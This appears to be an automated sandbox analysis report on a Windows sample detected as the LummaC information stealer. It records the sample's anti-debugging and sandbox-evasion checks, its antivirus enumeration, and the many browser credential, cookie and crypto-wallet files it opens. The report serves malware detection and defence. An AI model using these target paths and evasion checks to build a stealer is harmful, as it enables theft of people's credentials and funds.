Source: file.exe, 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2507713715.0000000000E92000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05BCE0FF rdtsc

0_2_05BCE0FF

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: (Program Manager
Source: file.exe, file.exe, 00000000.00000002.2507713715.0000000000E92000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: -1cProgram Manager
Source: file.exe	Binary or memory string: tA(Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2262556992.000000000084F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2262556992.0000000000843000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 4344, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2406591224.0000000000850000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ctronCash\\wallets","m":[""],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Guarda\\IndexedDB","m":[""],"z":"Wallets/G
Source: file.exe, 00000000.00000003.2241242075.0000000000843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.2241242075.0000000000843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.2241242075.0000000000843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2241242075.0000000000843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 4344, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 4344, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
